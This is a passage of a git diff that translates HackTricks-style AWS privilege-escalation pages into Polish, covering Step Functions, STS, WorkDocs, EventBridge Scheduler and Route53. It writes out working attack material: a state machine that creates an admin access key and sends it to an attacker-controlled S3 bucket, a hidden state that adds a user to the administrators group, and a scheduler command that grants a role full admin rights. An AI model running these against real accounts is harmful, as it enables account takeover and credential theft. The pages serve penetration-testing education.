**`states:StartSyncExecution`** permissions (**`states:StartSyncExecution`** is **not available for standard workflows**, **just to express state machines**) in order to start and execution over the state machine. - +Atakujący z uprawnieniami **`states:CreateStateMachine`**& **`iam:PassRole`** mógłby stworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwiłoby nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej techniki eskalacji uprawnień (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama, będziesz również potrzebować uprawnień **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standardowych przepływów pracy**, **tylko dla maszyn stanów wyrażających**) w celu rozpoczęcia wykonania na maszynie stanów. ```bash # Create a state machine aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ @@ -82,176 +75,157 @@ aws states start-execution --state-machine-arn [--name ] [--input # Start a Synchronous Express state machine execution aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` - -The following examples show how to create an state machine that creates an access key for the **`admin`** user and exfiltrates this access key to an attacker-controlled S3 bucket, leveraging these permissions and a permissive role of the AWS environment. This permissive role should have any high-privileged policy associated with it (for example **`arn:aws:iam::aws:policy/AdministratorAccess`**) that allows the state machine to perform the **`iam:CreateAccessKey`** & **`s3:putObject`** actions. +Przykłady te pokazują, jak stworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego koszyka S3, wykorzystując te uprawnienia oraz permissywną rolę środowiska AWS. Ta permissywna rola powinna mieć przypisaną jakąkolwiek politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów na wykonanie akcji **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: - ```json { - "Comment": "Malicious state machine to create IAM access key and upload to S3", - "StartAt": "CreateAccessKey", - "States": { - "CreateAccessKey": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", - "Parameters": { - "UserName": "admin" - }, - "ResultPath": "$.AccessKeyResult", - "Next": "PrepareS3PutObject" - }, - "PrepareS3PutObject": { - "Type": "Pass", - "Parameters": { - "Body.$": "$.AccessKeyResult.AccessKey", - "Bucket": "attacker-controlled-S3-bucket", - "Key": "AccessKey.json" - }, - "ResultPath": "$.S3PutObjectParams", - "Next": "PutObject" - }, - "PutObject": { - "Type": "Task", - "Resource": "arn:aws:states:::aws-sdk:s3:putObject", - "Parameters": { - "Body.$": "$.S3PutObjectParams.Body", - "Bucket.$": "$.S3PutObjectParams.Bucket", - "Key.$": "$.S3PutObjectParams.Key" - }, - "End": true - } - } +"Comment": "Malicious state machine to create IAM access key and upload to S3", +"StartAt": "CreateAccessKey", +"States": { +"CreateAccessKey": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey", +"Parameters": { +"UserName": "admin" +}, +"ResultPath": "$.AccessKeyResult", +"Next": "PrepareS3PutObject" +}, +"PrepareS3PutObject": { +"Type": "Pass", +"Parameters": { +"Body.$": "$.AccessKeyResult.AccessKey", +"Bucket": "attacker-controlled-S3-bucket", +"Key": "AccessKey.json" +}, +"ResultPath": "$.S3PutObjectParams", +"Next": "PutObject" +}, +"PutObject": { +"Type": "Task", +"Resource": "arn:aws:states:::aws-sdk:s3:putObject", +"Parameters": { +"Body.$": "$.S3PutObjectParams.Body", +"Bucket.$": "$.S3PutObjectParams.Bucket", +"Key.$": "$.S3PutObjectParams.Key" +}, +"End": true +} +} } ``` - -- **Command** executed to **create the state machine**: - +- **Polecenie** wykonane w celu **utworzenia maszyny stanów**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { - "stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", - "creationDate": "2024-07-09T20:29:35.381000+02:00" +"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine", +"creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` - -- **Command** executed to **start an execution** of the previously created state machine: - +- **Polecenie** wykonane w celu **rozpoczęcia wykonania** wcześniej utworzonej maszyny stanów: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { - "executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", - "startDate": "2024-07-09T20:33:35.466000+02:00" +"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f", +"startDate": "2024-07-09T20:33:35.466000+02:00" } ``` - > [!WARNING] -> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. +> Kontrolowany przez atakującego bucket S3 powinien mieć uprawnienia do akceptowania akcji s3:PutObject z konta ofiary. -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. -### `states:UpdateStateMachine` & (not always required) `iam:PassRole` +### `states:UpdateStateMachine` & (nie zawsze wymagane) `iam:PassRole` -An attacker with the **`states:UpdateStateMachine`** permission would be able to modify the definition of an state machine, being able to add extra stealthy states that could end in a privilege escalation. This way, when a legitimate user starts an execution of the state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Atakujący z uprawnieniem **`states:UpdateStateMachine`** mógłby zmodyfikować definicję maszyny stanów, mając możliwość dodania dodatkowych ukrytych stanów, które mogłyby prowadzić do eskalacji uprawnień. W ten sposób, gdy legalny użytkownik rozpocznie wykonanie maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem. -Depending on how permissive is the IAM Role associated to the state machine is, an attacker would face 2 situations: - -1. **Permissive IAM Role**: If the IAM Role associated to the state machine is already permissive (it has for example the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached), then the **`iam:PassRole`** permission would not be required in order to escalate privileges since it would not be necessary to also update the IAM Role, with the state machine definition is enough. -2. **Not permissive IAM Role**: In contrast with the previous case, here an attacker would also require the **`iam:PassRole`** permission since it would be necessary to associate a permissive IAM Role to the state machine in addition to modify the state machine definition. +W zależności od tego, jak permissywna jest rola IAM związana z maszyną stanów, atakujący napotka 2 sytuacje: +1. **Permissywna rola IAM**: Jeśli rola IAM związana z maszyną stanów jest już permissywna (ma na przykład dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie byłoby wymagane do eskalacji uprawnień, ponieważ nie byłoby konieczne aktualizowanie roli IAM, wystarczy definicja maszyny stanów. +2. **Niepermissywna rola IAM**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący również wymagałby uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie permissywnej roli IAM z maszyną stanów oprócz modyfikacji definicji maszyny stanów. ```bash aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` - -The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. +Przykłady poniżej pokazują, jak zaktualizować legitną maszynę stanów, która wywołuje funkcję Lambda HelloWorld, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do grupy IAM **`administrator`**. W ten sposób, gdy legitny użytkownik rozpocznie wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy stan ukryty zostanie wykonany, a eskalacja uprawnień zakończy się sukcesem. > [!WARNING] -> If the state machine does not have a permissive IAM Role associated, it would also be required the **`iam:PassRole`** permission to update the IAM Role in order to associate a permissive IAM Role (for example one with the **`arn:aws:iam::aws:policy/AdministratorAccess`** policy attached). +> Jeśli maszyna stanów nie ma przypisanego permissywnego roli IAM, wymagane będzie również uprawnienie **`iam:PassRole`** do zaktualizowania roli IAM w celu przypisania permissywnej roli IAM (na przykład jednej z polityką **`arn:aws:iam::aws:policy/AdministratorAccess`** dołączoną). {{#tabs }} {{#tab name="Legit State Machine" }} - ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} -{{#tab name="Malicious Updated State Machine" }} - +{{#tab name="Złośliwa zaktualizowana maszyna stanów" }} ```json { - "Comment": "Hello world from Lambda state machine", - "StartAt": "Start PassState", - "States": { - "Start PassState": { - "Type": "Pass", - "Next": "LambdaInvoke" - }, - "LambdaInvoke": { - "Type": "Task", - "Resource": "arn:aws:states:::lambda:invoke", - "Parameters": { - "FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" - }, - "Next": "AddUserToGroup" - }, - "AddUserToGroup": { - "Type": "Task", - "Parameters": { - "GroupName": "administrator", - "UserName": "unprivilegedUser" - }, - "Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", - "Next": "End PassState" - }, - "End PassState": { - "Type": "Pass", - "End": true - } - } +"Comment": "Hello world from Lambda state machine", +"StartAt": "Start PassState", +"States": { +"Start PassState": { +"Type": "Pass", +"Next": "LambdaInvoke" +}, +"LambdaInvoke": { +"Type": "Task", +"Resource": "arn:aws:states:::lambda:invoke", +"Parameters": { +"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST" +}, +"Next": "AddUserToGroup" +}, +"AddUserToGroup": { +"Type": "Task", +"Parameters": { +"GroupName": "administrator", +"UserName": "unprivilegedUser" +}, +"Resource": "arn:aws:states:::aws-sdk:iam:addUserToGroup", +"Next": "End PassState" +}, +"End PassState": { +"Type": "Pass", +"End": true +} +} } ``` - {{#endtab }} {{#endtabs }} -- **Command** executed to **update** **the legit state machine**: - +- **Polecenie** wykonane w celu **aktualizacji** **legitnej maszyny stanów**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { - "updateDate": "2024-07-10T20:07:10.294000+02:00", - "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" +"updateDate": "2024-07-10T20:07:10.294000+02:00", +"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` - -**Potential Impact**: Unauthorized execution and manipulation of workflows and access to sensitive resources, potentially leading to significant security breaches. +**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md index 782bcc237..373248ae9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md @@ -6,121 +6,101 @@ ### `sts:AssumeRole` -Every role is created with a **role trust policy**, this policy indicates **who can assume the created role**. If a role from the **same account** says that an account can assume it, it means that the account will be able to access the role (and potentially **privesc**). - -For example, the following role trust policy indicates that anyone can assume it, therefore **any user will be able to privesc** to the permissions associated with that role. +Każda rola jest tworzona z **polityką zaufania roli**, ta polityka wskazuje **kto może przyjąć utworzoną rolę**. Jeśli rola z **tego samego konta** mówi, że inne konto może ją przyjąć, oznacza to, że to konto będzie mogło uzyskać dostęp do roli (i potencjalnie **privesc**). +Na przykład, poniższa polityka zaufania roli wskazuje, że każdy może ją przyjąć, dlatego **każdy użytkownik będzie mógł uzyskać privesc** do uprawnień związanych z tą rolą. ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": "sts:AssumeRole" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "sts:AssumeRole" +} +] } ``` - -You can impersonate a role running: - +Możesz udawać rolę, uruchamiając: ```bash aws sts assume-role --role-arn $ROLE_ARN --role-session-name sessionname ``` - -**Potential Impact:** Privesc to the role. +**Potencjalny wpływ:** Privesc do roli. > [!CAUTION] -> Note that in this case the permission `sts:AssumeRole` needs to be **indicated in the role to abuse** and not in a policy belonging to the attacker.\ -> With one exception, in order to **assume a role from a different account** the attacker account **also needs** to have the **`sts:AssumeRole`** over the role. +> Zauważ, że w tym przypadku uprawnienie `sts:AssumeRole` musi być **określone w roli do nadużycia** a nie w polityce należącej do atakującego.\ +> Z jednym wyjątkiem, aby **przyjąć rolę z innego konta** konto atakującego **również musi** mieć **`sts:AssumeRole`** nad rolą. ### **`sts:GetFederationToken`** -With this permission it's possible to generate credentials to impersonate any user: - +Dzięki temu uprawnieniu możliwe jest wygenerowanie poświadczeń do podszywania się pod dowolnego użytkownika: ```bash aws sts get-federation-token --name ``` - -This is how this permission can be given securely without giving access to impersonate other users: - +To jest sposób, w jaki to uprawnienie można przyznać bezpiecznie, nie dając dostępu do podszywania się pod innych użytkowników: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "VisualEditor0", - "Effect": "Allow", - "Action": "sts:GetFederationToken", - "Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "VisualEditor0", +"Effect": "Allow", +"Action": "sts:GetFederationToken", +"Resource": "arn:aws:sts::947247140022:federated-user/${aws:username}" +} +] } ``` - ### `sts:AssumeRoleWithSAML` -A trust policy with this role grants **users authenticated via SAML access to impersonate the role.** - -An example of a trust policy with this permission is: +Polityka zaufania z tą rolą przyznaje **użytkownikom uwierzytelnionym za pomocą SAML dostęp do podszywania się pod rolę.** +Przykład polityki zaufania z tym uprawnieniem to: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "OneLogin", - "Effect": "Allow", - "Principal": { - "Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" - }, - "Action": "sts:AssumeRoleWithSAML", - "Condition": { - "StringEquals": { - "SAML:aud": "https://signin.aws.amazon.com/saml" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OneLogin", +"Effect": "Allow", +"Principal": { +"Federated": "arn:aws:iam::290594632123:saml-provider/OneLogin" +}, +"Action": "sts:AssumeRoleWithSAML", +"Condition": { +"StringEquals": { +"SAML:aud": "https://signin.aws.amazon.com/saml" +} +} +} +] } ``` - -To generate credentials to impersonate the role in general you could use something like: - +Aby wygenerować poświadczenia do podszywania się pod rolę, ogólnie możesz użyć czegoś takiego: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` - -But **providers** might have their **own tools** to make this easier, like [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): - +Ale **dostawcy** mogą mieć **własne narzędzia**, aby to ułatwić, takie jak [onelogin-aws-assume-role](https://github.com/onelogin/onelogin-python-aws-assume-role): ```bash onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 --aws-region eu-west-1 -z 3600 ``` - -**Potential Impact:** Privesc to the role. +**Potencjalny wpływ:** Privesc do roli. ### `sts:AssumeRoleWithWebIdentity` -This permission grants permission to obtain a set of temporary security credentials for **users who have been authenticated in a mobile, web application, EKS...** with a web identity provider. [Learn more here.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) - -For example, if an **EKS service account** should be able to **impersonate an IAM role**, it will have a token in **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** and can **assume the role and get credentials** doing something like: +To uprawnienie pozwala na uzyskanie zestawu tymczasowych poświadczeń bezpieczeństwa dla **użytkowników, którzy zostali uwierzytelnieni w aplikacji mobilnej, aplikacji webowej, EKS...** z dostawcą tożsamości webowej. [Dowiedz się więcej tutaj.](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +Na przykład, jeśli **konto usługi EKS** powinno być w stanie **udawać rolę IAM**, będzie miało token w **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** i może **przyjąć rolę i uzyskać poświadczenia** wykonując coś takiego: ```bash aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token # The role name can be found in the metadata of the configuration of the pod ``` - -### Federation Abuse +### Nadużycie Federacji {{#ref}} ../aws-basic-information/aws-federation-abuse.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4b1e5e7e9..dc4d2effc 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -2,7 +2,7 @@ ## WorkDocs -For more info about WorkDocs check: +Aby uzyskać więcej informacji o WorkDocs, sprawdź: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -10,17 +10,14 @@ For more info about WorkDocs check: ### `workdocs:CreateUser` -Create a user inside the Directory indicated, then you will have access to both WorkDocs and AD: - +Utwórz użytkownika w wskazanym katalogu, a następnie uzyskasz dostęp zarówno do WorkDocs, jak i AD: ```bash # Create user (created inside the AD) aws workdocs create-user --username testingasd --given-name testingasd --surname testingasd --password --email-address name@directory.domain --organization-id ``` - ### `workdocs:GetDocument`, `(workdocs:`DescribeActivities`)` -The files might contain sensitive information, read them: - +Pliki mogą zawierać wrażliwe informacje, przeczytaj je: ```bash # Get what was created in the directory aws workdocs describe-activities --organization-id @@ -31,26 +28,19 @@ aws workdocs describe-activities --user-id "S-1-5-21-377..." # Get file (a url to access with the content will be retreived) aws workdocs get-document --document-id ``` - ### `workdocs:AddResourcePermissions` -If you don't have access to read something, you can just grant it - +Jeśli nie masz dostępu do odczytu czegoś, możesz po prostu to przyznać. ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### `workdocs:AddUserToGroup` -You can make a user admin by setting it in the group ZOCALO_ADMIN.\ -For that follow the instructions from [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) - -Login with that user in workdoc and access the admin panel in `/workdocs/index.html#/admin` - -I didn't find any way to do this from the cli. - - +Możesz uczynić użytkownika administratorem, ustawiając go w grupie ZOCALO_ADMIN.\ +Aby to zrobić, postępuj zgodnie z instrukcjami z [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) +Zaloguj się tym użytkownikiem w workdoc i uzyskaj dostęp do panelu administracyjnego w `/workdocs/index.html#/admin` +Nie znalazłem żadnego sposobu, aby to zrobić z poziomu cli. diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 1519df70f..7ac004838 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -More info EventBridge Scheduler in: +Więcej informacji o EventBridge Scheduler w: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,42 +12,34 @@ More info EventBridge Scheduler in: ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -An attacker with those permissions will be able to **`create`|`update` an scheduler and abuse the permissions of the scheduler role** attached to it to perform any action - -For example, they could configure the schedule to **invoke a Lambda function** which is a templated action: +Atakujący z tymi uprawnieniami będzie mógł **`utworzyć`|`zaktualizować` harmonogram i nadużyć uprawnień roli harmonogramu** dołączonej do niego, aby wykonać dowolną akcję. +Na przykład, mogliby skonfigurować harmonogram, aby **wywołać funkcję Lambda**, co jest akcją szablonową: ```bash aws scheduler create-schedule \ - --name MyLambdaSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:lambda:::function:", - "RoleArn": "arn:aws:iam:::role/" - }' +--name MyLambdaSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:lambda:::function:", +"RoleArn": "arn:aws:iam:::role/" +}' ``` - -In addition to templated service actions, you can use **universal targets** in EventBridge Scheduler to invoke a wide range of API operations for many AWS services. Universal targets offer flexibility to invoke almost any API. One example can be using universal targets adding "**AdminAccessPolicy**", using a role that has "**putRolePolicy**" policy: - +Oprócz szablonowych działań serwisowych, możesz używać **universal targets** w EventBridge Scheduler, aby wywołać szeroki zakres operacji API dla wielu usług AWS. Universal targets oferują elastyczność w wywoływaniu prawie każdego API. Jednym z przykładów może być użycie universal targets do dodania "**AdminAccessPolicy**", używając roli, która ma politykę "**putRolePolicy**": ```bash aws scheduler create-schedule \ - --name GrantAdminToTargetRoleSchedule \ - --schedule-expression "rate(5 minutes)" \ - --flexible-time-window "Mode=OFF" \ - --target '{ - "Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", - "RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", - "Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" - }' +--name GrantAdminToTargetRoleSchedule \ +--schedule-expression "rate(5 minutes)" \ +--flexible-time-window "Mode=OFF" \ +--target '{ +"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy", +"RoleArn": "arn:aws:iam:::role/RoleWithPutPolicy", +"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}" +}' ``` - -## References +## Odniesienia - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html) - [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index fc3563ce7..09081a1ee 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -For more information about Route53 check: +Aby uzyskać więcej informacji na temat Route53, sprawdź: {{#ref}} ../aws-services/aws-route53-enum.md @@ -11,26 +11,22 @@ For more information about Route53 check: ### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` > [!NOTE] -> To perform this attack the target account must already have an [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic. +> Aby przeprowadzić ten atak, konto docelowe musi już mieć skonfigurowane [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)**, a instancje EC2 w VPC muszą już zaimportować certyfikaty, aby je zaufać. Przy tej infrastrukturze można przeprowadzić następujący atak, aby przechwycić ruch API AWS. -Other permissions **recommend but not required for the enumeration** part: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` +Inne uprawnienia **zalecane, ale nie wymagane do części enumeracji**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. **If ACM-PCA is used** for that and the adversary manages to get **access to control both route53 and acm-pca private CA** with the minimum set of permissions described above, it can **hijack the application calls to AWS API** taking over their IAM permissions. +Zakładając, że istnieje VPC AWS z wieloma aplikacjami natywnymi w chmurze, które komunikują się ze sobą i z API AWS. Ponieważ komunikacja między mikroserwisami jest często szyfrowana TLS, musi istnieć prywatna CA, aby wydawać ważne certyfikaty dla tych usług. **Jeśli używana jest ACM-PCA** do tego, a przeciwnik zdoła uzyskać **dostęp do kontroli zarówno route53, jak i prywatnej CA acm-pca** z minimalnym zestawem opisanych powyżej uprawnień, może **przejąć wywołania aplikacji do API AWS**, przejmując ich uprawnienia IAM. -This is possible because: +Jest to możliwe, ponieważ: -- AWS SDKs do not have [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) -- Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names -- Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names +- SDK AWS nie mają [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Route53 pozwala na tworzenie prywatnych stref hostowanych i rekordów DNS dla nazw domen API AWS +- Prywatna CA w ACM-PCA nie może być ograniczona do podpisywania tylko certyfikatów dla określonych nazw wspólnych -**Potential Impact:** Indirect privesc by intercepting sensitive information in the traffic. +**Potencjalny wpływ:** Pośredni privesc poprzez przechwytywanie wrażliwych informacji w ruchu. -#### Exploitation +#### Wykorzystanie -Find the exploitation steps in the original research: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +Znajdź kroki wykorzystania w oryginalnych badaniach: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index dddd8ac04..ab5701e3e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,35 +1,31 @@ -# AWS - Services +# AWS - Usługi {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## Rodzaje usług -### Container services +### Usługi kontenerowe -Services that fall under container services have the following characteristics: +Usługi, które mieszczą się w kategorii usług kontenerowych, mają następujące cechy: -- The service itself runs on **separate infrastructure instances**, such as EC2. -- **AWS** is responsible for **managing the operating system and the platform**. -- A managed service is provided by AWS, which is typically the service itself for the **actual application which are seen as containers**. -- As a user of these container services, you have a number of management and security responsibilities, including **managing network access security, such as network access control list rules and any firewalls**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- Usługa sama w sobie działa na **oddzielnych instancjach infrastruktury**, takich jak EC2. +- **AWS** jest odpowiedzialne za **zarządzanie systemem operacyjnym i platformą**. +- Usługa zarządzana jest dostarczana przez AWS, która zazwyczaj jest samą usługą dla **rzeczywistej aplikacji, która jest postrzegana jako kontenery**. +- Jako użytkownik tych usług kontenerowych masz szereg odpowiedzialności związanych z zarządzaniem i bezpieczeństwem, w tym **zarządzanie bezpieczeństwem dostępu do sieci, takimi jak zasady listy kontroli dostępu do sieci i wszelkie zapory**. +- 